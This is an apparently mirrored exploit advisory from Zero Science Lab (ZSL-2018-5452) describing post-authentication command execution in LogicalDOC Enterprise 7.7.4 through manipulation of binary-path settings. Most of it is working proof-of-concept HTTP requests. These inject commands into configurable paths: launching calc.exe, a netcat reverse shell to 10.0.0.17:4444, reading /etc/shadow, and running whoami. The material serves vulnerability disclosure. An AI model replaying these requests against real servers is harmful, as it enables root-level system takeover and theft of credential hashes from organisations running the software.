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LogicalDOC Enterprise 7.7.4 Post-Auth Command Execution

LogicalDOC Enterprise 7.7.4 Post-Auth Command Execution
Posted Feb 12, 2018
Authored by LiquidWorm | Site zeroscience.mk

LogicalDOC Enterprise version 7.7.4 suffers from a post-authentication command execution vulnerability via binary path manipulation.

tags | exploit
MD5 | e3fe47ad35b3d7c50efc277593f5c2e8

LogicalDOC Enterprise 7.7.4 Post-Auth Command Execution

Change Mirror Download

LogicalDOC Enterprise 7.7.4 Post-Auth Command Execution Via Binary Path Manipulation


Vendor: LogicalDOC Srl
Product web page: https://www.logicaldoc.com
Affected version: 7.7.4
7.7.3
7.7.2
7.7.1
7.6.4
7.6.2
7.5.1
7.4.2
7.1.1

Summary: LogicalDOC is a free document management system that is designed
to handle and share documents within an organization. LogicalDOC is a content
repository, with Lucene indexing, Activiti workflow, and a set of automatic
import procedures.

Desc: LogicalDOC suffers from multiple authenticated OS command execution
vulnerabilities by manipulating the path of the many binaries included in the
package when changing the settings with their respected arguments. This can be
exploited to execute local root privilege escalation attack and/or inject and
execute arbitrary system commands as the root or SYSTEM user depending on the
platform affected.

Tested on: Microsoft Windows 10
Linux Ubuntu 16.04
Java 1.8.0_161
Apache-Coyote/1.1
Apache Tomcat/8.5.24
Apache Tomcat/8.5.13
Undisclosed 8.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2018-5452
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5452.php


26.01.2018




After saving the settings, the command will be executed whenever a user uploads a file
that was inserted in the 'default.antivirus.includes' list. PoC for antivirus.command:
--------------------------------------------------------------------------------------

POST /frontend/setting HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 594
X-GWT-Module-Base: http://localhost:8080/frontend/
X-GWT-Permutation: 87C7268A2BDB185A47D161B6D6D2DEE8
Origin: http://localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67
Content-Type: text/x-gwt-rpc; charset=UTF-8
Accept: */*
Referer: http://localhost:8080/frontend.jsp?docId=3735554
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: GLog=%7B%0A%20%20%20%20trackRPC%3Afalse%0A%7D; JSESSIONID=FCFD7719139A634C8411FD081780BE2A; ldoc-sid=5dd1ea28-36a0-4967-bdd8-2556d16101d7


7|0|16|http://localhost:8080/frontend/|2B4A04609097A6274DA6D61C469E4E6B|com.logicaldoc.gui.frontend.client.services.SettingService|saveSettings|[Lcom.logicaldoc.gui.common.client.beans.GUIParameter;/1603922774|com.logicaldoc.gui.common.client.beans.GUIParameter/3041767606|default.antivirus.enabled|true|default.antivirus.excludes|*.tif,*.tiff,*.jpg,*.jpeg,*.png,*.bmp,*.gif,*.txt,*.iso|default.antivirus.includes|*.exe,*.com,*.pif,*.scr,*.dll,*.tar.gz|default.antivirus.timeout|0|antivirus.command|c:\\windows\\system32\\calc.exe|1|2|3|4|1|5|5|5|6|0|7|8|6|0|9|10|6|0|11|12|6|0|13|14|6|0|15|16|



PoC for call home reverse shell via ocr.Tesseract.path:
-------------------------------------------------------

POST /frontend/setting HTTP/1.1
Host: localhost:8080


7|0|25|https://localhost:8080/frontend/|2B4A04609097A6274DA6D61C469E4E6B|com.logicaldoc.gui.frontend.client.services.SettingService|saveSettings|[Lcom.logicaldoc.gui.common.client.beans.GUIParameter;/1603922774|com.logicaldoc.gui.common.client.beans.GUIParameter/3041767606|default.ocr.includes|*.pdf,*.tif,*.png,*.jpg,*.txt|default.ocr.excludes|*.odt|default.ocr.text.threshold|1|default.ocr.resolution.threshold|400|ocr.timeout|90|ocr.rendres|180|ocr.rendres.barcode|ocr.batch|2|ocr.engine|Tesseract|ocr.Tesseract.path|nc -c /bin/sh 10.0.0.17 4444|1|2|3|4|1|5|5|10|6|0|7|8|6|0|9|10|6|0|11|12|6|0|13|14|6|0|15|16|6|0|17|18|6|0|19|18|6|0|20|21|6|0|22|23|6|0|24|25|



PoC for Key Store via OpenSSL path:
-----------------------------------

POST /frontend/sign HTTP/1.1
Host: localhost:8080


7|0|14|https://localhost:8080/frontend/|16A5065211C47142C5282B2BC4600F1D|com.logicaldoc.gui.frontend.client.services.SignService|generateNewKeystore|com.logicaldoc.gui.common.client.beans.GUIKeystore/3815185030|java.util.Date/3385151746|1337|/usr/bin/openssl && /usr/bin/cat /etc/shadow|root|O=ZSL,OU=JXY,C=MK|123|#000000|$PAGE_WIDTH/6|5|1|2|3|4|1|5|5|6|WFn2zQZ|A|7|8|9|10|0|11|12|60|100|0|13|14|14|B|2|



PoC for clients and external apps and services path via command.convert, command.gs, command.openssl, command.pdftohtml, command.keytool:
-----------------------------------------------------------------------------------------------------------------------------------------

POST /frontend/setting HTTP/1.1
Host: localhost:8080


7|0|35|https://localhost:8080/frontend/|2B4A04609097A6274DA6D61C469E4E6B|com.logicaldoc.gui.frontend.client.services.SettingService|saveSettings|[Lcom.logicaldoc.gui.common.client.beans.GUIParameter;/1603922774|com.logicaldoc.gui.common.client.beans.GUIParameter/3041767606|webservice.enabled|true|webdav.enabled|webdav.usecache|false|command.convert|/usr/bin/whoami > test.txt|command.gs|/usr/bin/gs|command.openssl|/usr/bin/openssl|command.pdftohtml|/usr/bin/pdftohtml|command.keytool|1337|cmis.enabled|cmis.changelog|cmis.maxitems|200|default.extcall.enabled|default.extcall.name|External Call|default.extcall.baseurl||default.extcall.suffix|default.extcall.window|_blank|default.extcall.params|user|1|2|3|4|1|5|5|17|6|0|7|8|6|0|9|8|6|0|10|11|6|0|12|13|6|0|14|15|6|0|16|17|6|0|18|19|6|0|20|21|6|0|22|8|6|0|23|8|6|0|24|25|6|0|26|11|6|0|27|28|6|0|29|30|6|0|31|30|6|0|32|33|6|0|34|35|

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